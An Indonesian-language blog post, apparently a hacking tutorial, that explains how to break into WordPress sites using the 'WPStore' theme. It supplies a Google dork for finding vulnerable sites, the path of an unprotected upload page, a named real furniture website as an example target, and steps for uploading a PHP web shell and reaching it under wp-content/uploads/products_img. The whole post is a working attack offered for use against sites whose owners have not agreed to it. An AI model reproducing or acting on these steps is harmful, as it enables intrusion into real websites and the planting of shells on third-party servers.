WPStore Themes bug uploader For WP

Kali ini saya akan share bug uploader untuk wordrpess, langsung aja yuk ke tekape lagi malas nulis nih soalnya :D
ok untuk dork bisa gunakan ini  
allinurl:"/wp-content/themes/WPstore/"
untuk Exploitnya bisa gunakan ini  
http://target.com/wp-content/themes/WPstore/upload/
nah sekarang kalian copas aja tuh dork nanti lihat satu persatu :D
di sini saya mempunyai target contohn nih gan contohnya :  
http://www.leforestfurniture.com/wp-content/themes/WPStore/upload/
nah di situ kita upload aja shell kita :D
dan bila sudah sekarang kalian tinggal memanggil shell kalian caranya simpel kok.
www.site-target.com/wp-content/uploads/products_img/shell-kamu.php
nah exploit nya : wp-content/uploads/products_img/shell-kamu.php
mudah bukan? selamat mencoba yah :D

sumber

Posted in: